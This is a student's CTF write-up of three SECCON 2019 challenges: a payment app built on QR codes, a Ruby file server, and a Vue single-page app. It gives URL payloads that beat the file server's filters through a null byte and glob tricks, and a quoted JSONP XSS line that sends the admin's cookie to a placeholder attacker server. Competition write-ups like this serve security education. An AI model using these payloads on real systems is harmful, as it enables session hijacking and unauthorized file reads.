]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/sumhack/seccon19.md
Add time estimations to writeups
[pub/jan/ctf-seminar.git] / writeups / sumhack / seccon19.md
1 # SECCON 19\r
2 \r
3 This was my first real "timeboxed" CTF. I spent the whole afternoon doing challenges and did feel like I knew what I had to do but was then stuck for a long time getting around the countermeasures. Anyway, it was a lot of fun and I'm excited for the next one.\r
4 \r
5 ## hakinowa-pay\r
6 \r
7 **Time spent**: ~4 hours\r
8 \r
9 The first challenge I tried was hakinowa-pay. It consisted of an .exe file which allows users to transfer and request money via QR codes. When opening the program, the user "@ymzkei5" tells us that he will give us the flag if we manage to take 7777 yen from him, after which he sends a QR code where he requests 10 yen from us.\r
10 \r
11 The app also had an "Upload QR code" feature, so the first thing I tried was read the QR code that ymzkei sent me. It was this: `HAKONIWA-PAY:REQ:d8d0f4c7-5c09-4b74-8a0a-1900ab540afd:67e47ea5-9f9a-4f63-949d-6923f77d2cf9:10:Hey! May I ask for help?`\r
12 \r
13 I reversed the "sender" and "recipient" UUIDs and set the amount to 7777. I was able to import the QR code, but when I clicked on send, it said that I do not have enough money (I had 500). So I set the amount to 500 and tried again. It worked - but apparently I had just sent myself 500 yen, so that didn't really work out.\r
14 \r
15 Maybe if I were cheating the binary? I downloaded Cheat Engine and tried to modify my balance. Apparently I couldn't fixate the memory location where my balance was stored. Would have been too easy, after all...\r
16 \r
17 After that I tried decompiling the program with dotpeek (.NET decompiler). Turns out, the exe *actually is* a .NET binary. However, all of the source was badly obfuscated (unicode symbols for every class and variable name, huge switch-cases apparently without any meaning, methods of classes invoked by string name).\r
18 \r
19 As a next step, I downloaded a .NET deobfuscator which supported the majority of all used obfuscators. Now, when I tried to use it on the decompiled code, it said "Unknown obfuscator" and thus it couldn't help me any further. With no other clue what to do or where to look for something (and also no hints whatsoever from other colleagues), I decided to abandon the challenge.\r
20 \r
21 ## web-fileserver\r
22 \r
23 **Time spent**: ~5 hours\r
24 \r
25 The next challenge involved a web fileserver written in Ruby using WEBrick. Looking at the source code of the app (app.rb), it seemed to perform some validation on the input path, and if everything was "fine", it would either load a directory listing (if it was a directory) or the file.\r
26 \r
27 The interesting part was at the top of the file: It showed that there existed a file `/tmp/flags/<32 random alphanumeric characters>.txt`. So, the first step was to get to the directory to find out how the file was called: `fileserver.chal.seccon.jp:9292/../../tmp/flags/` It worked! However, it gave me an empty file listing. After digging through the server code, I found out that it always does that when the path ends with a slash. That means, I have actually found an empty folder. I tried going folders back further and further: `fileserver.chal.seccon.jp:9292/../../../../../../tmp/flags/` to no avail.\r
28 \r
29 At this point I learned that browsers like Chrome and Firefox normalize path traversals away. So I tried the same in curl, but I learned that curl does the same unless I add `--path-as-is`.\r
30 \r
31 This worked, but now the server responds with "bad URI". URLs like `fileserver.chal.seccon.jp:9292/public/../public/` seemed to work, though. I went through the source code of WEBrick and found out that it normalizes the path as well before it gets to the app code. If you somehow manage to get the dots around WEBrick, the app code has another check: If the path ends with a slash and contains a dot, it throws a "Bad Request". If we try to open a directory without a trailing slash, it would find no file, then "rescue" the situation by redirecting to the version with trailing slash. So dots for path traversal didn't work.\r
32 \r
33 Fellow colleague @Someone then had the idea to try some of the non-alphanumeric ASCII characters and found out that he can "travel" to root by adding a null byte in front of the path: `fileserver.chal.seccon.jp:9292/%00/tmp/flags/` - this actually worked and gave the listing of the files in `<root>/tmp/flags`, containing the flag file. Now, what's the most obvious thing one could do? `fileserver.chal.seccon.jp:9292/%00/tmp/flags/$FLAG_FILE.txt`. Would be too easy though, right? It didn't work - `path name contains null byte`.\r
34 \r
35 Now, it was time to check the docs on how the `Dir.glob` function that loads the files actually works. Apparently, there are a few special metacharacters to enable some more thorough search - * for wildcards, ? for single char wildcard, {a,b} for exact matching (either a or b), [ra,rb] for regex matching (either ra or rb) and \\\\ for escaping. Unfortunately, even those were checked by the app and if it detected any of those, it would throw a "Bad Request" error.\r
36 \r
37 The sanitizer had some bad issues though. `[]` and `{}` would only trigger a bad request if they were also closed. Also, the checker stops at the first bad character it finds and doesn't check further. It was again user @Someone who figured out that this enables us to "hide" bad characters along with "alibi" bad characters. Example: One could use `{}` as long as there is some `[` in there, simply because it checks for `[` before it checks for `{` and the `[` isn't closed, so the bad request error is never thrown.\r
38 \r
39 So what he did was this: `{/tmp/flags/$FLAG_FILE.txt,[}`. What this does is it matches either exactly `/tmp/flags` or exactly `[` (and thus, the `[` will help avoid the filter but it will also always be dropped). Encoded in a URL, it looked like this: `fileserver.chal.seccon.jp:9292/%7B/tmp/flags/$FLAG_FILE.txt,%5B%7D`\r
40 \r
41 Luckily, this URL worked and it gave us the flag: `SECCON{You_are_the_Globbin'_Slayer}`\r
42 \r
43 ## SPA\r
44 \r
45 **Time spent**: ~2 hours\r
46 \r
47 This challenge consisted of a vuejs single page application which loaded the page content through a json which depended on the anchor tag in the URL. It would parse whatever was in the anchor tag dynamically (i.e. on every change) and load the JSON file from `/<value>.json` to update the data in the view.\r
48 \r
49 The challenge was to craft an XSS URL which would be sent to the admin to reveal his cookie. I found out pretty quickly that I can force the JSON to be loaded from an absolute URL rather than relatively: `#/mysite.com/aaaa` would load `mysite.com/aaaa.json` rather than `<challenge domain>/mysite.com/aaaa.json`. So, using this, I was able to inject whatever JSON I wanted. I replicated the JSON that would normally be there and tried to perform the usual XSS attacks, however, vuejs sanitized them all away.\r
50 \r
51 Being stuck here, user @Smashing had the idea of trying something with JSONP (an extension for JSON to enable javascript callbacks). Unfortunately, we all didn't know what that was so we dismissed the idea way too quickly and thus got stuck.\r
52 \r
53 After the CTF was over, [https://medium.com/hmif-itb/seccon-2019-writeup-84be9da7a1e9#cbb4](I found a writeup) which explains that JSONP was actually the solution to this challenge: The vuejs code used `$.getJSON` to read the JSON, and if the URL includes the string `callback=`, the request is treated as JSONP and the function will inject whatever code is in the callback into the DOM and execute it without any other frills. Since it's possible to execute JS, one can just make the admin access any website with the cookie in its url, e.g. `document.location='http://our-server.com/?c='+document.cookie;//`. When the admin now opens the infected URL which returns the malicious payload, the browser will also perform this redirect and thus send the cookie to the attacker.